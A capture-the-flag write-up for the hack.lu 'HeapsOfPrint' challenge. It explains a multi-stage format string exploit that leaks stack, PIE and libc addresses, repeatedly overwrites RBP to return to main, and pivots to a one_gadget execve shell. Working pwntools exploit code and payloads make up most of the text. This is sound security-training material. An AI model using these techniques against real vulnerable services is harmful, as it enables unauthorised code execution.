HeapsOfPrint (24 solves)

Having studied the works of Professor Flux Horst and becoming more and more adept in different survial techniques, the Sky seems to be closer than ever. In his most recent excercise, Samuel’s objective seems farther away than usual. Can you help him close this gap?

nc flatearth.fluxfingers.net 1747

Attachment: HeapsOfPrint libc.so.6 xpl.py

The binary represents pretty much your default format string vuln challenge, though it has some strict settings

Canary                        : Yes 
NX                            : Yes
PIE                           : Yes
Fortify                       : No
RelRO                         : Full

and it only allows one call to printf, which might make this a little bit harder than just overwriting some got entries ;)

For some quick reversing

int main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);

  buf = (char *)malloc(0x400uLL);
  do_this();
  free(buf);

  return 0;
}

int do_this()
{
  char ch;
  
  ch = 102;
  printf("My favourite character is %c (as in 'flat'). I hope yours as well! Is it?", &ch);

  return do_that();
}

int do_that()
{
  __isoc99_scanf("%1023s", buf);
  return printf(buf);
}

Sooo, the format string will be stored on the heap, thus we cannot use our format string for forging addresses on the stack. The do_this function also leaks the lowest byte from char ch, which might be used to calculate the offsets on the stack, though I didn’t use this correct. Nevertheless the exploit worked in 2 of 3 cases, so…

One call to printf will definitely be not enough to pwn this binary, so we should find a way to return to main, so we can do additional printfs.

Since the binary uses PIE we aren’t able to know the address of main or any other address in the binary, but with the 6th format string parameter we are able to overwrite RBP.

Though we don’t know any addresses by now, there will be the address of _start on the stack. Thus we only have to pivot RBP to the address before that one, and after the leave; ret at the end of main, it will return to that address, effectively jumping back to main, which enables us to do another printf :)

In the first step, we should thus do a partial overwrite on RBP, so it will point RSP to the address of _start and use this initial format string also to leak some other useful addresses from the stack, which we might be able to use in the following stages:

#!/usr/bin/python
from pwn import *
import sys

LOCAL = True

HOST = "flatearth.fluxfingers.net"
PORT = 1747

def exploit(r):   
  libc = ELF("./libc.so.6")
  e = ELF("./HeapsOfPrint")

  log.info("Leak addresses")

  r.recv(len("My favourite character is "))
  LEAKCHAR = ord(r.recv(1))
  log.info("Leak byte: %s" % hex(LEAKCHAR))
  r.recv(100, timeout=0.1)
    
  # Overwrite lowest byte of RBP so it'll be pointing to address before _start
  payload = ("%%%du%%6$hhn" % (LEAKCHAR-0x7)).rjust(100, " ")
  payload += "%6$p.%7$p.%17$p"
  
  r.sendline(payload)

  r.recvuntil("1")

  STACKLEAK = int(r.recvuntil(".", drop=True), 16)
  PIELEAK = int(r.recvuntil(".", drop=True), 16)
  LIBCLEAK = int(r.recvuntil("My", drop=True), 16)

  PIE = PIELEAK - 0x8f0
  LIBC = LIBCLEAK - 0x20830
  libc.address = LIBC

  log.info("STACK leak      : %s" % hex(STACKLEAK))
  log.info("PIE leak        : %s" % hex(PIELEAK))
  log.info("LIBC leak       : %s" % hex(LIBCLEAK))
  log.info("PIE base        : %s" % hex(PIE)) 
  log.info("LIBC            : %s" % hex(LIBC))

  r.interactive()

  return

if __name__ == "__main__":
  if len(sys.argv) > 1:
    LOCAL = False
    r = remote(HOST, PORT)
    exploit(r)
  else:
    LOCAL = True
    r = process("./HeapsOfPrint", env={"LD_PRELOAD" : "./libc.so.6"})
    print util.proc.pidof(r)
    pause()
    exploit(r)
$ python xpl.py 1
[+] Opening connection to flatearth.fluxfingers.net on port 1747: Done
[*] '/home/kileak/pwn/Challenges/hacklu/print/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/kileak/pwn/Challenges/hacklu/print/HeapsOfPrint'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Leak addresses
[*] Leak byte: 0xa7
[*] STACK leak      : 0x7ffce66590b0
[*] PIE leak        : 0x5651f9d5e8f0
[*] LIBC leak       : 0x7f2ed52ee830
[*] PIE base        : 0x5651f9d5e000
[*] LIBC            : 0x7f2ed52ce000

At this point, the binary asks us for another format string, whilst we now have leaks on STACK, PIE and LIBC.

I first tried to get a leak for the heap, so we could put a ropchain there and then just stack pivot to the heap, but didn’t get it to work properly, so I opted for another approach.

When jumping to _start we’ll be creating new stack frames (going upwards in the stack).

[Stackframe in 4th call]
[Stackframe in 3rd call]
[Stackframe in 2nd call]
[Stackframe in 1st call]

We can leverage this to write values in one stack frame and accessing them from another. We’ll only have to keep in mind, that the offsets for our format string parameters will differ on every stage (+68 from empirical analysis ;-)).

Since we cannot directly write addresses onto the stack, we’ll have to reuse the addresses already there and try to use those, to write arbitrary address onto the stack, which we can then use to write our final values.

In the second stackframe (after we had leaked the addresses), the 13th parameter will contain the value 0x7fffffffee68 (ASLR disabled), so we can use that one, to write to the stack address 0x7fffffffee68 (which is the content of the 47th parameter). But while we’re writing to that address, we’ll also have to overwrite RBP again, so it will jump back to main again (otherwise the binary would stop after that write).

Since the jump back to main will create a new stack frame (Stackframe 3 now), the offsets for our format string parameters will change, so we cannot access 0x7fffffffee68 with the 47th parameter anymore. Like I said, the offsets will also grow by 68 in every stage. This means the value can now be accessed with the 115th parameter.

Let’s use that to write the address of an onegadget onto the stack. To do that, I first searched for an existing libc address on the stack (the higher dword will always be the same, so we’ll only have to overwrite the lower dword).

After some failures due to the stack movement, I found an usable libc address at STACKLEAK - 0x8c8.

To be able to overwrite that address, we’ll first need an address on the stack, pointing to the address containing this one. Since at 0x7fffffffee68 also a stack address is stored, we can use parameter 13 to overwrite the lower word at 0x7fffffffee68 with the lower word of the address of our target libc address:

log.info("Write pointer to a LIBC address to stack")

LIBCADDR = STACKLEAK - 0x8c8
LIBCADDR_LO = LIBCADDR & 0xffff

ONE_HI = (ONE & 0xffff0000) >> 16
ONE_LO = ONE & 0xffff
  
# Offset, which points to "return to start" address
CURSTACKOFF = STACKLEAK & 0xffff  
CURSTACKOFF -= 0x120  
  
payload = ("%%%du%%6$hn" % CURSTACKOFF) 
payload += "%%%du%%13$hn" % (0xffff-CURSTACKOFF+LIBCADDR_LO+1)  # => 115 now

r.sendline(payload) 
r.interactive()

The first line of our payload overwrites RBP to jump back to main, the second line overwrites the lower dword at 0x7fffffffee68 with the calculated address, where the libc address is stored.

After this, another stack frame is created, and we jump back into main. We can now use parameter 115 to use our forged address to write to that address.

We’ll be using it to write the lower word of the onegadget address there:

# Overwrite last word of LIBC address
CURSTACKOFF -= 0x110
payload = ("%%%du%%6$hn" % CURSTACKOFF) 
payload += "%%%du%%115$hn" % (0xffff-CURSTACKOFF+ONE_LO+1)  

r.sendline(payload) 
r.interactive()

Thus we have successfully overwritten the lower word at that address with the lower word of onegadget.

For overwriting the next word we’ll need another pointer, pointing to that address, so we use the 13th parameter again to overwrite the address at 0x7fffffffee68 again, but this time pointing to LIBCADDR+2.

# Overwrite LIBC address + 2
CURSTACKOFF -= 0x110
payload = ("%%%du%%6$hn" % CURSTACKOFF) 
payload += "%%%du%%13$hn" % (0xffff-CURSTACKOFF+LIBCADDR_LO+1+2)  # => 183 now

r.sendline(payload) 
r.interactive()

Again, the format string parameter pointing to that address is increased by 68, so it will now be the 183th parameter, by which we can access this new stack pointer.

Thus, we’ll use it to overwrite the next word in our libc address.

# Overwrite next word of libc address
CURSTACKOFF -= 0x110
payload = ("%%%du%%6$hn" % CURSTACKOFF) 
payload += "%%%du%%183$hn" % (0xffff-CURSTACKOFF+ONE_HI+1)      

r.sendline(payload) 
r.interactive()

Finally we now have the complete address to our onegadget on the stack, so it might be time to stack pivot to it and get a shell.

But at this time, I didn’t find any onegadget, whose constraints I could fulfill, since the stack was always full of garbage, preventing the onegadget to execute (garbage in argv or envp).

So I decided to clean up the stack with some additional format strings.

$ one_gadget libc.so.6 

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

Ok, so we’d just need to clear up the value, which will be at rsp+0x30 in our final stackframe.

Again, we’ll first do a partial overwrite to the existing stack address in format string parameter 13, let it point to the value on the stack (which will be rsp+0x30) and then do another format string to overwrite it with a null value.

log.info ("Cleanup stack (set RSP+0x30 = null)")
  
CURSTACKOFF -= 0x110
payload = ("%%%du%%6$hn" % CURSTACKOFF) 
payload += "%%%du%%13$hn" % (0xffff-CURSTACKOFF+LIBCADDR_LO+0x38) # => 251 now
  
r.sendline(payload) 
r.interactive()
    
CURSTACKOFF -= 0x110
payload = ("%%%du%%6$hn" % CURSTACKOFF) 
payload += "%%%du%%251$hn" % (0xffff-CURSTACKOFF+1) 

r.sendline(payload) 
r.interactive()

So, now all preconditions for our onegadget should be met, and we’re ready to stack pivot there, by doing a final overwrite of RBP.

log.info("Stack pivot to onegadget address")

TARGET = STACKLEAK - 0x8c8 - 8
TARGET = TARGET & 0xffff

payload = "%%%du%%6$hn" % TARGET

r.sendline(payload)
r.interactive()

resulting in

$ python xpl.py 1
[+] Opening connection to flatearth.fluxfingers.net on port 1747: Done
[*] '/home/kileak/pwn/Challenges/hacklu/print/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/kileak/pwn/Challenges/hacklu/print/HeapsOfPrint'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Leak addresses
[*] Leak byte: 0xa7
[*] STACK leak      : 0x7ffce66590b0
[*] PIE leak        : 0x5651f9d5e8f0
[*] LIBC leak       : 0x7f2ed52ee830
[*] PIE base        : 0x5651f9d5e000
[*] LIBC            : 0x7f2ed52ce000
[*] HEAP address    : 0x7ffce66587e8
[*] ONE gadget      : 0x7f2ed531326a
[*] Paused (press any to continue)

[... Lots of printf trash and interactive breaks ;)]

1$ ls
flag
HeapsOfPrint
setup.sh
$ cat flag
FLAG{dr4w1ng_st4ckfr4m3s_f0r_fun_4nd_pr0f1t}